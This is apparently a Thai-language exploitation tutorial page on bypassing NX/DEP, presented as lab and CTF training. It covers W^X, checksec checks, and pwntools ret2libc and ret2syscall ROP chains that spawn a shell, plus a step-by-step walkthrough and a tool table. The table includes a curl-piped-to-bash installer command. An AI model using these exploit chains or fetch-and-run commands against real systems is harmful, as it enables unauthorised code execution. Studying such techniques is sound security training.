NX (No-Execute / DEP)
NX (No-Execute หรือ DEP) ทำเครื่องหมายพื้นที่ memory ที่เขียนได้ (stack/heap) ว่ารันโค้ดไม่ได้ ทำให้ shellcode บน stack ใช้ไม่ได้ การ bypass คือ code-reuse — ใช้โค้ดที่รันได้อยู่แล้ว (ret2libc/ROP/ret2syscall) บทนี้ลงลึกกลไก NX, ทุกวิธี bypass พร้อมโค้ด, และการเลือกเทคนิค (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาต)
1. หลักการ — W^X
NX บังคับหลัก W^X (Write XOR eXecute) — memory page เป็นได้แค่อย่างใดอย่างหนึ่ง: เขียนได้ (stack, heap, data) หรือรันได้ (code/.text) แต่ไม่ใช่ทั้งสอง ผลคือ shellcode ที่วางบน stack (เขียนได้) จะ รันไม่ได้ — เทคนิคเก่าอย่าง ret2shellcode ใช้ไม่ได้อีก จึงต้องเปลี่ยนไปใช้โค้ดที่ 'รันได้อยู่แล้ว' ในโปรแกรมหรือ libc
2. ตรวจ NX
checksec ./vuln
# NX: NX enabled → stack รันไม่ได้ → ต้อง code reuse (ROP/ret2libc)
# NX: NX disabled → stack รันได้ → ret2shellcode ได้ (ดู stack-overflow)
# ดู memory permission ตอน run (ยืนยัน)
gdb ./vuln
gef> vmmap
# stack จะเป็น rw- (ไม่มี x) ถ้า NX เปิด3. วิธี bypass — code reuse
| เทคนิค | หลักการ | ใช้เมื่อ |
|---|---|---|
| ret2libc | กระโดดไป system("/bin/sh") ใน libc | มี libc, รู้/leak address |
| ROP | ร้อย gadget (จบด้วย ret) ทำงานแทน | ต้องจัด register/ทำหลายขั้น |
| ret2syscall | จัด register แล้วเรียก syscall execve | static binary / ไม่มี system |
| ret2csu | ใช้ __libc_csu_init จัด register | ขาด gadget จัด rdx/rsi |
| ret2dlresolve | หลอก dynamic linker resolve symbol | ไม่มี leak, no PIE |
4. ret2libc — วิธีที่นิยมสุด
libc มี system() และ string "/bin/sh" อยู่แล้ว เราแค่จัด RDI ให้ชี้ "/bin/sh" แล้วกระโดดไป system — ผ่าน NX เพราะ libc อยู่ใน page ที่รันได้
from pwn import *
elf = context.binary = ELF('./vuln')
libc = ELF('./libc.so.6')
p = process('./vuln')
offset = 72
# กรณีมี ASLR ต้อง leak libc base ก่อน (ดูหัวข้อ ASLR)
libc.address = 0x7ffff7800000 # libc base (จาก leak/vmmap)
rop = ROP([elf, libc])
rop.call('system', [next(libc.search(b'/bin/sh'))])
payload = b'A'*offset + rop.chain()
p.sendline(payload)
p.interactive()5. ROP — เมื่อต้องทำหลายขั้น
ถ้าต้องจัดหลาย register หรือเรียกหลายฟังก์ชัน ใช้ ROP chain — ร้อย gadget (instruction สั้นๆ จบด้วย ret) ที่มีในโปรแกรม/libc ดูรายละเอียดเต็มในหัวข้อ ROP
from pwn import *
elf = context.binary = ELF('./vuln') # static, no libc
p = process('./vuln')
rop = ROP(elf)
# จัด register สำหรับ execve("/bin/sh", 0, 0)
# rax=59 (execve), rdi="/bin/sh", rsi=0, rdx=0
binsh = next(elf.search(b'/bin/sh')) or 0 # หรือเขียน /bin/sh ลง bss
rop.rax = 59
rop.rdi = binsh
rop.rsi = 0
rop.rdx = 0
rop.raw(rop.find_gadget(['syscall'])[0])
payload = b'A'*72 + rop.chain()
p.sendline(payload); p.interactive()6. Quick Reference
- NX = W^X: stack/heap เขียนได้แต่รันไม่ได้
- เช็ค: checksec (NX enabled?); gef vmmap (stack ไม่มี x)
- bypass = code reuse (ไม่รันโค้ดใหม่ แต่ reuse ที่มีอยู่)
- ret2libc: system("/bin/sh") ใน libc (นิยมสุด)
- ROP: ร้อย gadget; ret2syscall: execve (static binary)
- pwntools: ROP([elf,libc]); rop.call('system',[binsh])
- NX ปิด → ret2shellcode (ดู stack-overflow)
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติ checksec บอกว่า NX enabled — มีแค่ Kali เปล่าๆ ทำตามนี้ทีละขั้นเพื่อตัดสินใจว่าจะ bypass ด้วยวิธีไหน
- 1ยืนยันก่อน:
checksec ./vulnดูบรรทัด NX - 2ถ้าต้องการยืนยันจริงตอนรัน:
gdb ./vulnแล้วgef> vmmapดูว่า stack มี flag 'x' ไหม - 3ถ้า NX disabled — ข้ามไปทำ ret2shellcode ได้เลย (ง่ายกว่ามาก ดู stack-overflow)
- 4ถ้า NX enabled เช็คว่าเป็น static binary หรือ dynamic:
file ./vuln - 5ถ้า dynamic + มี libc ให้ (หรือดึงจาก server ได้) → เป้าหมายคือ ret2libc (system("/bin/sh"))
- 6หา pop rdi gadget ในตัว binary ก่อน:
ROPgadget --binary ./vuln | grep 'pop rdi' - 7ถ้าเจอครบ ใช้ pwntools สร้าง chain:
rop = ROP([elf, libc]); rop.call('system', [binsh]) - 8ถ้าเป็น static binary (ไม่มี libc แยก) ให้ทำ ret2syscall เรียก execve ตรงๆ ด้วย ROP จัด rax/rdi/rsi/rdx
- 9ถ้าต้องจัดหลาย register/หลายขั้นตอนซับซ้อนกว่านี้ ไปดู ROP เต็มรูปแบบ
- 10ทดสอบ local ก่อนเสมอ แล้วค่อยยิง remote
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| ตรวจ NX | checksec | - | - |
| ยืนยัน memory permission จริง | gdb + gef/pwndbg | bash -c "$(curl -fsSL https://gef.blah.cat/sh)" | - |
| หา gadget สำหรับ code-reuse | ROPgadget / ropper | pip install ropper | ropshell.com |
| เขียน exploit | pwntools | pip install pwntools | - |
| ดูชนิด binary (static/dynamic) | file, ldd | - | - |
| decompile ดูโครงสร้างเพิ่ม | radare2 / Ghidra | apt install radare2 | dogbolt.org |
หัวข้อที่เชื่อมโยง
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้